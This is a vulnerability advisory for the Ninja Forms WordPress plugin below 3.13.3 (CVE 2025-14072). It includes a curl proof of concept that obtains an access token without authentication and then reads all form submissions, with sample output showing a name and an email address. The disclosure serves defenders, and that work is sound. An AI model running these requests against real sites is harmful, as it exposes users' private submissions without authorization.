Ninja Forms < 3.13.3 – Unauthenticated Token Generation and Submission Disclosure | CVE 2025-14072

Description

The plugin allows unauthenticated attackers to generate valid access tokens via the REST API which can then be used to read form submissions.

Proof of Concept

1. Create a form and note the Form ID (ex: 1)
2. Submit an entry.
3. Generate a valid token without authentication:

```
curl -X POST "http://example.com/?rest_route=/ninja-forms-views/token/refresh"  -d "formIds[]=1"
```

Example output:

```
{"token": "<TOKEN>", "publicKey": "...", "expiresIn": 900, "formIds": [1]}
```

4. Use the token to read all submissions:

```
curl "http://example/com/?rest_route=/ninja-forms-views/forms/1/submissions" -H "X-NinjaFormsViews-Auth: <TOKEN>"
```

Example output:

```
{"1": "Alice", "2": "alice@example.com", "3": "Test message"}
```

This confirms complete disclosure of all form data.